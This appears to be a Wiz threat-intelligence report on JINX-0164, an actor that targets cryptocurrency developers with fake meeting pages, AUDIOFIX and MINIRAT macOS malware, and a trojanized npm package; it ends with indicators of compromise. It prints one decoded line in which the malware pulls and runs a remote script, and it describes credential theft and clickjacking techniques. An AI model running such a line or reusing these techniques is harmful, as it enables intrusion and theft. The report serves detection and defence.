

Commit to Compromise: A New Threat Actor Targeting the Cryptocurrency Industry's Software Development Infrastructure

By Shira Ayal, Eden Abergil, Andre Maccarone, Yuval Dan, Benjamin Read

Published: 2026-05-27 · Archived: 2026-06-04 02:00:33 UTC

The Wiz Customer Incident Response Team (CIRT) has investigated multiple intrusions targeting cryptocurrency organizations. These campaigns leveraged sophisticated social engineering techniques, custom macOS malware, and deep targeting of CI/CD infrastructure. The used methods enabled the threat actor to move laterally from compromised employee laptops to code distribution systems and development infrastructure.

The Wiz Research team has identified the actor behind these attacks as JINX-0164, a previously unreported actor that Wiz is now tracking. This actor has been active since at least mid-2025 and appears to be motivated by financial gain. Their operations targeted developers through recruitment-themed and other social engineering techniques aiming to steal cryptocurrencies, and, in at least one case, conduct a supply chain attack.

This blog begins by walking through the full attack chain of a landmark early-2026 intrusion from initial contact to impact. We then expand our analysis to detail additional campaigns linked to JINX-0164, concluding with a technical deep dive into the group's custom tools and techniques.

Previous operations by this group have been reported by [StepSecurity](#) and [iru](#).

The Attack Chain - a Case Study

The attack unfolded over a two-week period and followed the following key steps:

1. Social engineering for initial access: the threat actor used a credible LinkedIn profile to contact the victim and offer a virtual meeting.
2. Malware distribution: the meeting invite linked to a malicious domain, masquerading as a teleconference provider. Upon clicking, the victim unknowingly downloaded and executed a macOS-specific malware with remote access tool (RAT) capabilities.
3. Credential access: the malware was used to steal credentials from the compromised endpoint.
4. Lateral movement: the stolen credentials were leveraged to access internal code distribution systems and development infrastructure.
5. Impact: internal source code was modified in an attempt to compromise additional endpoints, most likely in an attempt to steal cryptocurrency wallet credentials.

Throughout the attack, the threat actor masked their cloud activity by routing their connections through VPN services, specifically Mullvad VPN, Astrill VPN and Express VPN.

Initial Access: Social Engineering

The threat actor made initial contact via LinkedIn, impersonating a potential business partner. The LinkedIn profile appeared credible, with established connections, relevant employment history, and industry alignment, making the outreach convincing.

By leveraging the credible profile and business opportunity, the actor built trust and proposed a virtual meeting. The invitation included a link to a malicious domain disguised as a legitimate conferencing platform, such as Microsoft Teams. After interacting with the link, the victim executed a malicious file disguised as the meeting client.

This social engineering tactic has been observed in multiple recent incidents perpetrated by different [threat actors](#). In some cases, attackers leveraged compromised LinkedIn accounts, belonging to legitimate professionals within the cryptocurrency industry. In other cases, the LinkedIn profiles appeared credible, but were later deleted shortly after the compromise. These profiles were never re-enabled, indicating they may have been created by the threat actors. In both the hijacking and new profile creation scenarios, the apparent authenticity of the profiles significantly increased the likelihood that targets would trust the outreach.

Malware Delivery and Execution

After clicking the embedded link and executing the program, the victim received AUDIOFIX, a Python-based macOS infostealer, via a bash script hosted on a fake driver store domain (`apple.driver-store[.]com`).

The script downloaded an architecture-aware payload from the same domain, compatible with both Intel and Apple Silicon systems. The payload masquerades as a system audio driver named `coreaudiod` , was saved as `ChromeUpdater` , and was executed via `launchctl` .

The variant observed in this incident communicated with its C2 over HTTPS.

The presence of XOR-encoded password in `~/ .zsh_cache` on compromised endpoints indicates that the AUDIOFIX's password phishing capability was used. This capability, along with additional malware functionality and dropper script behavior, is detailed in the [Technical Annex](#).

Credential Theft

Upon gaining full control of the victim's endpoint, the threat actor leveraged the Python-based RAT to harvest credentials from password managers and local stores. This included MacOS Keychain files, browser-stored credentials, local admin credentials, SSH keys, configuration files, console history files, cryptocurrency browser extensions information, and cryptocurrency wallet addresses. The threat actor also hijacked active sessions from common communication applications such as Discord, Slack, and Telegram.

These actions suggest an attempt to monetize the breach for financial gain, specifically through the theft of cryptocurrency, while also serving a broader strategy to harvest high-value credentials that provide a gateway to cloud platforms and development environments. The malware accomplished this by extracting cloud infrastructure

secrets, such as AWS, GCP, and Azure keys, and Cloudflare API tokens, as well as version control and package management credentials.

Once obtained from the local machine, GitHub tokens were utilized to deepen the compromise and steal more secrets by [exfiltrating GitHub Actions Secrets directly from CI/CD pipelines](#). The attackers leveraged [nord-stream](#), an open-source tool designed to automate secret exfiltration.

Lateral Movement

Despite harvesting numerous cloud and SaaS secrets from the initial compromised endpoint, the threat actor showed little interest in traditional cloud pivoting. While some attempts to sign in were observed, no widespread enumeration or abuse of cloud resources occurred in this or the other cases investigated. Instead, the threat actor set their sights on a more insidious target: internal code distribution systems and development infrastructure.

By leveraging their access to the compromised developer endpoint, the threat actor injected the same python-based RAT, AUDIOFIX, into internal repositories to facilitate [lateral movement](#) across the target environment. To evade immediate detection, they employed several deceptive Git tactics:

- Developer Impersonation: The code's true origin was concealed by modifying committer name and email fields, impersonating other developers.
- Direct to Main Commits: In unprotected repositories, the malicious code was pushed directly to the `main` branch.
- Branch Hijacking: When direct access to `main` was not possible, the payload was inserted into existing branches.

Snippet of the unverified commit information that included the malicious payload.

When other employees updated their code and built from these compromised repositories, their machines were also infected - turning the organization's development infrastructure into a propagation vector.

By using [GitHub's Vigilant Mode](#), it was possible to detect the developer impersonation and halt the spread. The key indicators were the `unverified` badge on the malicious commits, alongside the historical affiliation of the GPG key with the compromised user, signaling a mismatch between the user who signed the commit and the listed commit author. This was further confirmed by correlating GitHub audit logs, which traced the `git push` activities back to the initially compromised endpoint.

Impact

One of the primary objectives of the threat actor was cryptocurrency theft, as the deployed Python RAT malware targeted for exfiltration 26 cryptocurrency wallet extensions information and two desktop wallet applications.

Another potential objective was to create a supply-chain attack by distributing malicious versions of public packages through package managers such as npm, as the actor did earlier with the `@velora-dex/sdk` package on npm.

Unmasking JINX-0164 - a Deep Dive

JINX-0164 is a financially motivated cluster of threat activity that has been active since at least mid-2025. The incident discussed above is typical of their operations, but they have used a wide variety of themes and an extensive collection of infrastructure. The activity uncovered by Wiz has focused solely on macOS devices, but some actor controlled infrastructure (e.g. `windows.driver-store.com`) suggest they may target Windows machines as well. While their operations targeting developers have been focused, they have also trojanized a popular open source cryptocurrency SDK, showing that they have the ability to conduct impactful operations.

The group's focus on cryptocurrency and developers are similar to those used by multiple North Korean groups (UNC1069, Sapphire Sleet, etc.). The malware also shares several surface level similarities to those identified by Microsoft in their April [blog](#); however, this new cluster implements these features in distinct ways and no infrastructure overlap has been identified with publicly tracked groups.

Our research does not yet provide enough evidence to link this group to a sponsor, but we believe that this is a capable actor targeting the cryptocurrency industry for financial gain.

Developer Targeting Campaign

Since early 2026, and possibly as early as mid-2025, the core of activity conducted by JINX-0164 has been a campaign targeting software developers by posing as recruiters. The initial contact pattern has been similar to the incident detailed above, typically involving a job-related approach, followed by a meeting that has a fake technical error and a malicious "fix" leading to malware installation.

In one public case reported in February on [Reddit](#), a victim was approached on LinkedIn by a recruiter at BitGet, a cryptocurrency trading platform. When they joined a purported Microsoft Teams meeting for an interview, the meeting had a problem and they were directed to a fake help page (`https://learn.bitget-meeting[.]com/en-us/troubleshoot/microsoftteams/teams-on-mac/teams-audio-issue-mac`) that instructed them to execute the following command that would download an AUDIOFIX payload:

JINX-0164's infrastructure associated with this campaign and investigated by Wiz shows an extensive effort to mimic legitimate services, including Microsoft Teams, Slack, Aircall, driver update portals, and cryptocurrency companies. The actor registered lookalike domains and posted exact copies of real versions of the sites they were impersonating, including language localization, help documentation and other real pages from these sites. The actor would typically only put malicious content on a single specific page.

A full list of known domains is detailed in the [Technical Annex](#).

Supply Chain Operation

On April 7, 2026, JINX-0164 conducted a supply chain operation by trojanizing version 4.9.1 of the npm package `@velora-dex/sdk` . The malicious package appended three lines to `dist/index.js` , which attempts to download a shell script whenever the package was imported. The shell script then downloads MINIRAT, a lightweight backdoor written in Go. Velora is a DEX aggregation protocol and the SDK is likely widely installed within the cryptocurrency industry, making it an attractive target.

- The addition to `index.js` (below) decodes to `nohup bash -c "$(curl -fsSL http://89.36.224[.]5/troubleshoot/mac/install.sh)" > /dev/null 2>&1`
- The source code on Github was not modified, suggesting that the attackers only had access to NPM credentials.
- The shell script is structured similarly to the scripts used to deliver AUDIOFIX; however, it does not display any output to the terminal.
- MINIRAT gathers basic information including host fingerprint and public IP, then registers itself with a C2 server. It contains basic backdoor functionality to upload and download files and execute arbitrary shell commands, but it does not conduct the automated exfiltration seen in AUDIOFIX. More information on MINIRAT is available in the [Technical Annex](#).

Malware Delivery and Execution

Dropper Script as a Bridge

Dropper Scripts were used in both the supply chain and social engineering operations and used similar structures. Beginning with identifying the operating system and based on that downloading an architecture specific payload. [See Technical Annex for full details](#).

MacOS Malware

JINX-0164 has used two different types of macOS malware in their operations AUDIOFIX, a compiled Python binary that steals information and functions as a backdoor (used in the initial example) and MINIRAT, which was spread via the supply chain operation. Both families have samples compiled to run on ARM64 and x86_64. More detail on the malware is available in the [Technical Annex](#).

- In addition to the version distributed in the supply chain operation, a slightly modified version of MINIRAT was uploaded to VirusTotal on May 8, 2026, indicating that it continues to be used for additional operations.
- Both MINIRAT and AUDIOFIX have the same three domains hard-coded for C2. The primary is `datahub.ink`, with two hard coded backup domains (`cloud-sync.online`, `byte-io.us`).
- An earlier AUDIOFIX variant was written to use Dropbox for exfiltration and as a command and control mechanism. It leveraged hardcoded credentials and had more limited backdoor functionality.

Attribution

Many of the tactics and malware capabilities used by JINX-0164 have analogues in those used by UNC1069/Sleet; however, while these suggest some association, they are implemented distinctly by JINX-0164. Similarly, the types of spoofing domains are similar to those used by other North Korean actors; however, JINX-0164 infrastructure does not have any overlaps with other publicly tracked North Korean groups.

Differing Technical Implementations

Category	JINX-0164	SaphireSleet
Download Lure	Fake Error & Clickfix	Fake SDK Update
Malware Languages	Python 3.12, Go	C/C++, AppleScript
Cryptography Library	PyCryptodome (AES-256-CBC)	wolfSSL
HTTP Library	Python requests / Go net/http	libcurl.4.dylib (linked)
Dropper	Bash Shell Script	AppleScript + cascading curl osascript
Persistence	launchctl submit	LaunchDaemon at /Library/LaunchDaemons/
User Credential Theft Popup	Attacker Directed fake password dialog (AppKit/PyObjC)	Immediate fake password dialog (SwiftUI) with validation
Exfiltration	HTTPS chunked upload API- Dropbox API	HTTPS upload to IP:8443 with auth token header- Telegram Bot API
Cryptocurrency Wallets Targeted	51	9
Browsers Targeted	10	3
TCC Bypass	runs osascript -e to trigger TCC prompt for Finder Automation; uses transparent overlay + "Network latency" warning dialog to distract user from dismissing prompt	Direct SQLite3 manipulation of ~/Library/Application Support/com.apple.TCC/TCC.db

What Should Incident Responders and Threat Hunters Do?

Detection of this activity should begin with endpoint monitoring using an Endpoint Detection and Response (EDR) solution to look for malware [Indicators of Compromise](#) (IoCs) and related behaviors within the organization. As the attack extends to cloud providers and version control systems, the use of audit logs becomes critical. This includes enabling logs that may be disabled by default, such as cloud storage logs and IP logging within GitHub's audit logs.

To identify and hunt this activity, search for:

- Known IoCs detailed below, including IP addresses, domains, malware paths, and SHAs ([Wiz Defend Cloud Events](#) and [Wiz Malware Findings](#)) across all log sources.

- Unexpected usage of VPN providers ([Wiz Defend Detections](#)), with focus on Express VPN, Astrill VPN, and Mullvad VPN ([Wiz Cloud Events](#))
- GitHub Actions Secrets exfiltration via CI/CD pipelines via workflows ([Wiz Defend Detections for GitHub](#))
- Search for malware components in code ([Wiz Malware Findings on code resources](#) for Wiz Code)
- Usage of tools such as `nord-stream` ([Wiz Defend Detections](#))
- Unexpected workflows executed in CI/CD pipelines
- Workflow logs deleted unexpectedly.
- Publication of new code packages from anomalous IP addresses.
- Unverified commits on GitHub.

Wiz customers can use [the pre-built queries and advisory](#) in the [Wiz Threat Intel Center](#) to search for relevant instances in their environment.

If you suspect you are under attack, [reach out to Wiz CIRT](#).

Indicators and Malware Breakdown - a Technical Annex

Dropper Scripts~

In both the developer targeting operations and the supply chain operation, JINX-0164 used a shell script as a first stage. This script profiles the system architecture, downloads the matching payload from the same domain and executes it, in this case as “chrome.job”. Note that while the script below claims to be “Updating Chrome...” it still pulls a payload corresponding to an audio driver.

Example Script (SHA-256: 9c2ce925133a3bf5a924063bbef8df49918d5b7258695c1894cd18c75970157a):

- Wiz identified four different variants of this script across three domains. The others displayed content to the terminal mimicking an audio driver update and started their malware as “coreaudio.job”. Details are in the [IOCs section](#).
- All variants were written specifically for MacOS and would not run successfully on Linux or Windows systems.

AUDIOFIX Malware

AUDIOFIX is a compiled Python information stealer and backdoor that automatically exfiltrates a wide range of data and secrets from a victim machine and also contains functionality to execute additional python modules and perform additional reconnaissance.

Initial Execution, Persistence and Check In

When the malware is first launched, it displays a native Mac dialog box displaying a message that the purported fix has been completed. Persistence is then established via LaunchAgent with RunAtLoad and KeepAlive flags, masquerading as legitimate applications including Microsoft Teams (`com.microsoft.teams.coreaudiod`), Aircall, or Dialpad. Then the malware sends an initial check-in to the C2 domain.

Data Collection

The malware then launches into a broad ranging data collection. It launches processes to identify and collect:

- **Browser data:** credentials, cookies and session data across seven browsers, including Chrome, Edge, Firefox etc.
- **Cryptocurrency:** 51 wallet browser extensions, including MetaMask, Phantom, Coinbase Wallet, and Binance Chain.
- **Developer credentials:** SSH keys, AWS/GCP credentials, and Kubernetes configurations.
- **Communication apps:** Discord tokens, Slack cookies and local storage, Telegram's `tdata` directory and local Signal database files.
- **System secrets:** macOS Keychain contents and shell history.

When these routines have concluded, the data is uploaded to the `/file/upload` path on the C&C domain.

In addition a background thread is launched that continuously monitors the clipboard, logging all copied content with timestamps - capturing cryptocurrency addresses, passwords, and sensitive data as users copy them.

Snippet of the configuration searching for crypto wallet extension identifiers (partial - decompiled and deobfuscated)

Snippet of the code collecting local secrets and configurations (decompiled and deobfuscated)

Command and Control

HTTPS Variant

The malware uses AES-256-CBC encryption for all Command and Control (C2) communications with three fallback C2 servers stored as encrypted blobs. It supports two modes: a normal polling interval of 5 seconds, and a stealth mode with randomized intervals between 10-30 minutes to evade detection. The C2 protocol supports remote Python code execution via `exec()` , arbitrary shell commands, and file operations - giving operators full control over compromised systems.

Snippet of the C2 commands and C2 communication (decompiled & deobfuscated).

Dropbox Variant

Dropbox bidirectional C2 enables the following remote capabilities:

Dropbox API	Function	Usage
files_download	Receive commands/modules	Poll Dropbox for new tasking
files_download_to_file	Download payloads	Retrieve additional tools or modules
files_list_folder	List command queue	Check for pending commands
files_upload	Exfiltrate data on demand	Upload additional collected data

Additional Capabilities

The HTTP version of the malware also contains additional functionality that can be triggered by the operator:

Backdoor Functionality

The malware has multiple commands that allow further manual reconnaissance and exfiltration:

- Download additional files from the C2 domain
- Restart any of the initially triggered secret collection routines.
- Execute an arbitrary python module
- Delete a file
- Execute an arbitrary shell command

Social Engineering

In addition to the typical functions the malware can launch to routines that attempt to socially engineer the user to steal the system password and gain access to additional capabilities:

1. Password phishing: A macOS dialog box, mimicking a "System Update" prompt, requests the user's password. The malware validates the entered password against the actual system credentials using `sudo -k -S pwd`. On success, the password is XOR-encoded, written to `~/ .zsh_cache` and exfiltrated to the C2.
2. Transparency, Consent, and Control (TCC) Clickjacking: The malware overlays a fake "Network latency detected" prompt on top of a real TCC permission dialog, triggered via AppleScript. When victims click "OK" to dismiss the warning, they're actually clicking "Allow" on the hidden system dialog beneath, granting Full Disk Access. However, this access is not used by any part of the main codebase.

Persistence and Evasion

The malware includes anti-analysis checks for debuggers, virtual machines (checking CPU brand strings and manufacturer names), and code signing validation - silently exiting if analysis is detected. In addition, a self-destruct capability allows operators to remotely wipe all traces: unloading the LaunchAgent, deleting persistence files, clearing logs, purging server-side data, and removing the malware binary itself.

Snippet of the the code creating the persistence mechanism (decompiled & deobfuscated) and example contents of “~/Library/LaunchAgents/*.plist”.

MINIRAT

The MINIRAT malware (SHA256: `0a8ab3d16b12d3a453ee5a3208fe04744ad54514ef8ea27bb8fe32679efad270`) is a lightweight backdoor written in go, with versions for x86 and ARM. It performs basic system reconnaissance, sets persistence and has basic backdoor functionality, but does not conduct any of the automated exfiltration seen in AUDIOFIX. It uses the same AES key, `v5912uwl0w9s1ebuscgfg9k9r4voxbks` , found in the AUDIOFIX samples and uses the same three C&C domains. The module path is `alibaba.xyz/minirat` , giving the malware its name.

Initial Execution & Persistence

When MINIRAT is first run it gathers basic system information including hostname, username and checks the public IP via `https://api.ipify.org`. It uses the Mac’s hardware UUID as its identifier and sends all of the gathered information back to the C&C domain. It sets persistence by writing plist under `~/Library/LaunchAgents/` with the label `com.apple.Terminal.profiler` , and both `RunAtLoad` and `KeepAlive` set to true.

Functionality

MINIRAT has standard backdoor functionality with the ability to execute shell commands, download additional files, upload files, compress and upload files.

Infrastructure

Wiz has identified a large number of domains used by JINX-0164 that spoof common chat platforms, driver updates and cryptocurrency companies. These domains are typically used with multiple subdomains are often set up to mimic the legitimate domains they spoof, with malicious instructions or files substituted in a single location. In addition to these are the three C&C domains embedded in the malware. At this time only the primary domain has been identified resolving.

In addition to the meeting spoofing domains (see [IOCs section](#)) , JINX-0164 used ExpressVPN, Mullvad VPN and Astrill VPN exit nodes to access victim systems.

Indicators of Compromise (IOCs)

Malware

Malware	Variant/Theme (Infrastructure)	Hash
MINIRAT	ARM64	0a8ab3d16b12d3a453ee5a3208fe04744ad54514ef8ea27bb8fe32679efad270
MINIRAT	x86_64	0b028b781950641818800fee2b4bf68e4ef2bcee53fe71a21755275ba108783d

Malware	Variant/Theme (Infrastructure)	Hash
MINIRAT	ARM64	a35d2b67fa478a7174e308b43ce30bf69b3bc6f44fa76197fdf95fc2fbc1cf5b
AUDIOFIX	HTTPS/ARM64	65cba741fe30fa4799fb9002ea8de6d96042a59159dd7c3419c766af24c835e6
AUDIOFIX	HTTPS/x86_64	0b1a36a31b952341a534fe24890f1ed2921ee259773cff46e4f6273b8c4d5d21
AUDIOFIX	Dropbox/ARM64	e8ee6f5145c9d503c5130bfc6585567f6e19d409158c3c0ca0b259f1875b15f4
AUDIOFIX	Dropbox/x86_64	3e3901519c2305f9d5483b7234c25c6d2b562512916481d96f26b849c39fdb
Dropper	Fake audio fix (apple.driver-store.com)	9c2ce925133a3bf5a924063bbef8df49918d5b7258695c1894cd18c75970157a
Dropper	Fake audio fix (apple.driver-update.io)	402625ec79e3573a80b6de9b33fc1e503e3c7803603cd958ddd515fb0549007c
Dropper	Fake audio fix (driver-updater.net)	b6cab0b3aa8e56e2427f486c74588d598ae58bb0cbc0eda6939fe171cb0aed17
Dropper	Fake Chrome update (apple.driver-store.com)	d4e863f9818bfb2f1dd932df6441dff204e6142c3bdb55b298cb08dc7b6a0c62
Dropper	Delivered via supply chain (89.36.224.5)	c6ef82d2864dfd26f117a1ef5602679153423f2742970a7949cec72722f0a01e
Dropper	Delivered via supply chain (89.36.224.5)	2a10ffe0367bb1b26ba2c3bc600892c21074725c0b8c9dc9161e6ceb33915460

Network-Based Indicators

Meeting Spoofing Domains

Domains	IP(s) resolved to
live[.]us[.]org, team[.]live[.]us[.]org, teams[.]live[.]us[.]org, www[.]live[.]us[.]org	185[.]100[.]85[.]250 84[.]32[.]83[.]250 163[.]172[.]53[.]20 185[.]100[.]85[.]98

Domains	IP(s) resolved to
live[.]org[.]mx, teams[.]live[.]org[.]mx	n/a
teams[.]cam, learn[.]teams[.]cam, live[.]teams[.]cam, login[.]teams[.]cam, www[.]teams[.]cam	185[.]100[.]85[.]98
teamicrosoft[.]com, www[.]teamicrosoft[.]com, login[.]teamicrosoft[.]com, learn[.]teamicrosoft[.]com, resource[.]teamicrosoft[.]com	153[.]92[.]126[.]84
bitget-meeting[.]com, www[.]bitget-meeting[.]com, learn[.]bitget-meeting[.]com, login[.]bitget-meeting[.]com, resource[.]bitget-meeting[.]com	153[.]92[.]126[.]84
us03-slack[.]online, app[.]us03-slack[.]online, my-home-company-group[.]us03-slack[.]online, www[.]us03-slack[.]online	185[.]100[.]85[.]98
slktest[.]live, app[.]slktest[.]live, my-home-company-group[.]slktest[.]live, www[.]slktest[.]live	185[.]100[.]85[.]98
live[.]ong, learn[.]live[.]ong, login[.]live[.]ong, teams[.]live[.]ong, www[.]live[.]ong	45[.]45[.]217[.]242
teams[.]us[.]org, learn[.]teams[.]us[.]org	45[.]45[.]217[.]242
lives[.]us[.]org	45[.]45[.]217[.]242
Retesta[.]live, learn[.]retesta[.]live, login[.]retesta[.]live, teams[.]retesta[.]live, www[.]retesta[.]live	45[.]45[.]217[.]242

Payload delivery domains

Domains	IPs Resolved To
driver-updater[.]net	45[.]45[.]217[.]242
driver-store[.]com, apple[.]driver-store[.]com, windows[.]driver-store[.]com, www[.]driver-store[.]com, sitemaps[.]driver-store[.]com	89[.]36[.]224[.]584[.]32[.]83[.]250
driver-hub[.]net, apple[.]driver-hub[.]net, windows[.]driver-hub[.]net, www[.]driver-hub[.]net	185[.]100[.]85[.]98163[.]172[.]53[.]20
driver-update[.]io, apple[.]driver-update[.]io, windows[.]driver-update[.]io, www[.]driver-update[.]io	153[.]92[.]126[.]84
drvstore[.]com, apple[.]drvstore[.]com, windows[.]drvstore[.]com, www[.]drvstore[.]com	84[.]32[.]83[.]250185[.]100[.]85[.]98
driver-updater[.]net, www[.]driver-updater[.]net	45[.]45[.]217[.]242

C&C Domains

Domain	IP Target
cloud-sync.online	N/A
datahub.ink	208.115.220.17 185.175.59.85
byte-io.us	N/A

Host-Based Indicators

File Path	Description
~/Library/LaunchAgents/com.microsoft.teams.coreaudiod.plist	Persistence of the Python RAT
~/Library/LaunchAgents/io.aircall.workspace.helper.plist	Persistence of the Python RAT
~/Library/LaunchAgents/com.electron.dialpad.helper.plist	Persistence of the Python RAT
/audio.lock	Contains process ID of Python RAT
/helper.log	Malware activity log

File Path	Description
/clip	Clipboard capture log
/tokens.txt	Exfiltrated Discord tokens
~/.zsh_cache	XOR-encoded (0xAB) stolen macOS password
~/.log	TCC clickjack bypass artifact

Code Indicators

nord-stream [default parameters](#):

Type	Indicator	Note
Branch name	dev_remote_ea5Eu/test/v1	
Committer name	nord-stream	
Committer email	nord-stream@localhost.com	
Commit message	Test deployment	
Commit message	Remove test deployment	
User agent	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36	
Workflow file name	init_ZkITM.yaml	GitHub only
Pipeline name	Build_pipeline_58675	Azure DevOps only
Repository name	TestDev_ea5Eu	Azure DevOps only
Task name	Task fWQf8	Azure DevOps only

References

- <https://www.stepsecurity.io/blog/velora-dex-sdk-compromised-on-npm-malicious-version-drops-macos-backdoor-via-launchctl-persistence>
- <https://www.iru.com/blog/minirat>
- <https://www.wiz.io/blog/github-attacks-pat-control-plane>
- <https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits>
- <https://www.microsoft.com/en-us/security/blog/2026/04/16/dissecting-sapphire-sleets-macos-intrusion-from-lure-to-compromise/>
- https://www.reddit.com/r/CyberSecurityAdvice/comments/1qrwi9g/video_call_scam_attempt/

[See more from Wiz Research](#)

Source: <https://www.wiz.io/blog/threat-actors-target-crypto-orgs>